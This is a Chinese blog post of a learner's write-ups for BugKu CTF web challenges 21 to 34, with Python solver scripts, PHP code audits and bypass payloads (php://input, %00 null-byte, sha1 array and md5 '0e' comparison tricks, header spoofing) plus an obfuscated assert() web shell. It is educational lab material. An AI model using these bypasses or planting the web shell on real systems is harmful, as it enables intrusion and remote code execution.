CTF-BugKu-WEB-21-34

2020.09.18

完了完了,今天是不是做不完了……🥶

经验教训

  1. re.search(pattern, string)可以找到字符串中匹配正则的某一段字符;
  2. eval()方法可以用来得出1+1+2这种字符串的结果;
  3. python中,post的内容是json,例如post = {'value': result}
  4. python中,添加post内容要用post()方法,并且添加data参数,例如s.post(url, data = post)
  5. r'(\d+[+\-*])+(\d+)'可以用来匹配123+456*789这种算式;
  6. php中,intval()用于对数字取整;
  7. @file_get_contents(),方法可以通过输入php://input来读取url的输入字节流;
  8. php中,用来匹配正则的方法一般遇到空字符\x00就会停止,\x00在url中写作%00
  9. php中,assert(),断言方法,如果括号里是字符串,那么他就相当于eval(),会把字符串当作php语句执行。
  10. html请求头中,Referer,表示这个请求从什么地方重定向过来的;
  11. md5碰撞,第三十一题有md5后0e开头的字符串;
  12. php中,sha1也可以用输入数组来进行绕过,因为sha1数组返回false;

第二十一题 秋名山老司机

https://ctf.bugku.com/challenges#秋名山老司机

  1. 那么题眼就很清楚了,两秒内把算出来的结果post出去,这看起来只有脚本才能做到。
  2. 这里的脚本有几处问题我不太会,参考了大佬的,有几个问题就是
    • 怎么把需要算的数从响应中取出来?
    • 取出来之后怎么进行计算?取出来毕竟是字符串,应该没办法直接计算才是。
    • 下边大佬的脚本给了解决方案,就总结在经验教训中。
import requests
import re
url = 'http://120.24.86.145:8002/qiumingshan/'
s = requests.Session() # 很关键,因为session保证了长链接,才能保证我们在2s内post出请求,要不然post只会开启一个新链接
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group() # re.search()可以找到字符串中匹配的某一段字符,这解决方案完美
result = eval(expression) # eval能直接把字符串转换为可执行的语句,完美
post = {'value': result} # 构造post内容,学到了post的内容是json
print(s.post(url, data = post).text) # 输出post后结果,学到了请求时添加post内容是用`data=?`
  1. 经过以上脚本我们就有概率得到flag啦,Bugku{YOU_DID_IT_BY_SECOND},真的是有概率得到,可能是py和php算的数不一样……

第二十二题 速度要快

https://ctf.bugku.com/challenges#速度要快

  1. 打开链接,查看源码,意思就是要很快的post叫margin的数据,很快的post简单,但是margin是什么?
  2. 我刷新了一遍,在响应头中发现可疑信息,6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTlRVek5qZzM=
  3. 转码得跑的还不错,给你flag吧: NTUzNjg3,但是填入并不对
  4. 这让我怀疑这个flag,赶紧还像是base64,于是又一次解码得553687,这个难不成是margin的值??脚本测试一下
  5. 脚本如下,但是没有成功,wtf??竟然还嫌不够快……
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
#fileName  : decry.py
#createTime: 2020/09/18 23:34:52
#author    : 乔悟空
#purpose   : 此脚本用于快速响应目标url并post指定值
import requests

url = "http://123.206.87.240:8002/web6/"
session = requests.session()
res = session.get(url).text
print(res)
for i in range(20):
    res = session.post(url,data={'margin':553687}).text
    print(res)


6. 看来是思路不对,再去看看,发现端倪,md,我明白了,我发现哪个flag是一直在变的,原来如此,也就是说margin是在变的,也对,怎么可能像之前想的这么简单呐……修改脚本

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
#fileName  : decry.py
#createTime: 2020/09/18 23:34:52
#author    : 乔悟空
#purpose   : 此脚本用于快速响应目标url并post指定值
import requests
import base64

url = "http://123.206.87.240:8002/web6/"
session = requests.session() # 保持长链接
res = session.get(url).headers['flag'] # 取响应头中flag的动态变化值
print(res)
res = base64.b64decode(res).decode().split(': ')[1] # 第一次base64
print(res)
res = base64.b64decode(res).decode() # 第二次base64
print(res)
res = session.post(url,data={'margin':res}).text # 快速post margin
print(res)
  1. 运行脚本得到结果,奥力给🤓KEY{111dd62fcd377076be18a}

第二十三题 cookies欺骗

https://ctf.bugku.com/challenges#cookies欺骗

  1. 打开之后自动跳转到http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=,内容如下:
  2. 上边filename,base64转码得keys.txt,测试index.php的base64aW5kZXgucGhw
  3. 仔细一看是因为还有一个line参数,输入?line=1&filename=aW5kZXgucGhw,成功返回结果,思路很清晰,用脚本得到整个index.php
  4. 小脚本如下:
#!/usr/bin/env python 3.8
# -*- encoding: utf-8 -*-
#fileName  : decry.py
#createTime: 2020/09/19 07:48:16
#author    : 乔悟空
#purpose   : 此脚本用于按行获取整个php文件
import requests

url = "http://123.206.87.240:8002/web11/index.php?line={}&filename=aW5kZXgucGhw"
session = requests.session()
for i in range(100):
    req = session.get(url.format(i)).text
    if req == '':
        break
    else:
        print(req,end = '')
  1. 得到的index.php文件如下:进行代码审计🥱
<?php
error_reporting(0); // 不报错
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); // 解base64
$line=isset($_GET['line'])?intval($_GET['line']):0; // 对line取整,没输入默认为0
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); // 默认url值
$file_list = array( //file列表,目前有两个文件,这就是我们能取到这两个文件的原因,这里我尝试用第三步方法直接获取keys.php文件,失败了。
'0' =>'keys.txt',
'1' =>'index.php',
);
 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ // 如果cookie满足条件,那么就添加一个可以获取的文件keys.php
$file_list[2]='keys.php';
}
 
if(in_array($file, $file_list)){ //yes,和我猜的一样,必须在列表内才能输出,接下来发送指定cookie,获取keys.php
$fa = file($file);
echo $fa[$line];
}
?>
  1. 小脚本发送指定cookie,获取keys.php
#!/usr/bin/env python 3.8
# -*- encoding: utf-8 -*-
#fileName  : decry2.py
#createTime: 2020/09/19 08:05:15
#author    : 乔悟空
#purpose   : 此脚本用于向指定链接发送cookie,然后按行获取文件keys.php
import requests

url = "http://123.206.87.240:8002/web11/index.php?line={}&filename=a2V5cy5waHA="
session = requests.session()
for i in range(100):
    req = session.get(url.format(i),cookies = {'margin':'margin'}).text
    if req == '':
        break
    else:
        print(req,end = '')
  1. 获取keys.php如下,直接给了flag,很良心哈哈哈KEY{key_keys}
<?php $key='KEY{key_keys}'; ?>

第二十四题 never give up

https://ctf.bugku.com/challenges#never%20give%20%20up

  1. 打开,提示1p.html
  2. 访问http://123.206.87.240:8006/test/1p.html跳转回bugku首页,用burp访问,发现线索

    解码得:
<!--
var Words ="<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->
" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->
  1. 中间的base64经过解码又经过url解码得到如下,进行代码审计:
";if(!$_GET['id']) // 初始化重定向
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) // 不允许a中有点
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r'); //读取a为名字的文件
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) // 输出flag的条件
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>
  1. 输出flag的条件可谓苛刻……所以试试直接访问f4l2a3g.txt,成功得到flagflag{tHis_iS_THe_fLaG},但是这应该不是出题人的本意,所以为了学习我们还是看一下他的条件。
    • 以a为名字的文件内容要是bugku is a nice plateform!;考虑用php://input来满足
    • id = 0;本来感觉很简单,但是后来发现前面又个条件,导致等0的话,!0=1,导致重定向,那么就不能是数字0可以是字符0
    • b长度大于5;这个简单
    • b第一位连起来满足eregi方法;这个简单,b第一位是4就好
    • 第一位要是4。与上一步矛盾啊,怎么办?原来eregi可以用空字符来绕过,他匹配到空字符自动停止,url中的空字符自然是%00
  2. 经过分析,初步构造payloadhello.php?id='0'&a=php://input&b=%00qwkqwk,nice🤓

第二十五题 welcome to bugkuctf

https://ctf.bugku.com/challenges#welcome%20to%20bugkuctf

  1. 很好,废了

第二十六题 过狗一句话

https://ctf.bugku.com/challenges#过狗一句话

  1. 好像真被删了,搜了大佬的wp
  2. 虽然被删了,但是我们还是分析一下,出题人到底什么意思
<?php 
$poc="a#s#s#e#r#t";  // poc赋值
$poc_1=explode("#",$poc);  // 去掉poc中的#,结果也就是assert
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];  // 现在$poc_2 = assert
$poc_2($_GET['s'])  // 这里相当于assert()这个方法
?>
  1. assert(),详情参照这里,断言方法,也就是括号里是对的干什么,是错的就中断,再干点什么,我们需要哦知道的是如果括号里是字符串,那么他就相当于eval(),会把字符串当作php语句执行。

第二十七题 字符?正则?

https://ctf.bugku.com/challenges#字符?正则?

  1. 访问直接给了源码,那就代码审计:
<?php 
highlight_file('2.php'); //给出高亮代码
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>
  1. 正则表达式啥意思??
/key .* key . key:/ . / (.*key) [a-z] [[:punct:]] /i
key 多个任意字符 key 4-7个任意字符 key:/ 任意字符 / 多个任意字符key 任一小写字母 任何符号 不分大小写

根据以上分析,构造payload?id=keyqwkkeyqwkqwkkey:/q/qwkkeyq!,得结果KEY{0x0SIOPh550afc}

第二十八题 前女友(SKCTF)

https://ctf.bugku.com/challenges#前女友(SKCTF)

  1. 这个题目吸引了我,但是好像竟然不能做了

第二十九题 login1(SKCTF)

https://ctf.bugku.com/challenges#login1(SKCTF)

  1. 这个也打不开……好像是同一台服务器上的,不会被人干了吧……

第三十题 你从哪里来

https://ctf.bugku.com/challenges#你从哪里来

  1. 打开界面,意思很明确,你要从google重定向过来
  2. burp修改请求头的Referer,这里要改成https://www.google.com,一开始我用的www.google.com不好使,flagflag{bug-ku_ai_admin}

第三十一题 md5 collision(NUPT_CTF)

https://ctf.bugku.com/challenges#md5%20collision(NUPT_CTF)

  1. 打开,让输入a
  2. 随便输入?a=1,返回false,这上哪知道a等于多少去……
  3. 尝试burp爆破a的值,好久好久以后……没啥结果,可能是字典的原因吧……那还有别的办法吗……
  4. 难不成是用post??测试未果……
  5. 测试a[]也没用
  6. 百度了之后知道md5 碰撞的一些知识,但是这个题也没给源码啊,鬼知道他是怎么比较的……总之也就是md5后的值是0E开头,在弱等于比较的的时候会被认为是科学技术法,这样就可以比对成功,嫖来的md5结果开头是0e的数值,得到flagflag{md5_collision_is_easy}
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e54599327451770903432885584102

第三十二题 程序员本地网站

https://ctf.bugku.com/challenges#程序员本地网站

  1. 让从本地访问,自然就想到请求头X-Forwarded-For: 127.0.0.1
  2. 有点简单,哈哈哈,直接给结果了flag{loc-al-h-o-st1}

第三十三题 各种绕过

https://ctf.bugku.com/challenges#各种绕过

  1. 直接给了源代码,代码审计就完事了🙄
<?php 
highlight_file('flag.php'); 
$_GET['id'] = urldecode($_GET['id']); 
$flag = 'flag{xxxxxxxxxxxxxxxxxx}'; 
if (isset($_GET['uname']) and isset($_POST['passwd'])) { 
    if ($_GET['uname'] == $_POST['passwd']) 
        print 'passwd can not be uname.'; 
    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) 
        die('Flag: '.$flag); 
    else 
        print 'sorry!'; 
} 
?>
  1. 也就是一个sha1绕过,用数组,两遍都输出false,满足===,他真就输出了flag{xxxxxxxxxxxxxxxxxx}
  2. 原来是这样,我之前的请求是 /web7/flag.php?uname[]=admin&id=margin,而正确的是 /web7/?uname[]=admin&id=margin,flag.php只是给我们看的,所以并不能输出真的flagflag{HACK_45hhs_213sDD}

第三十四题 web8

https://ctf.bugku.com/challenges#web8

  1. 直接给了源码:
<?php
extract($_GET); // 把从数组中将变量导入到当前的符号表。
if (!empty($ac)) 
{
$f = trim(file_get_contents($fn)); // file_get_contents()想到php://input
if ($ac === $f) //相等就输出flag
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
  1. 根据源码构造payload/web8/?ac=qwk&fn=php://input ,同时postqwk,得到flagflag{3cfb7a90fc0de31}
posted @ 2020-09-18 23:58  乔悟空  阅读(985)  评论(0编辑  收藏  举报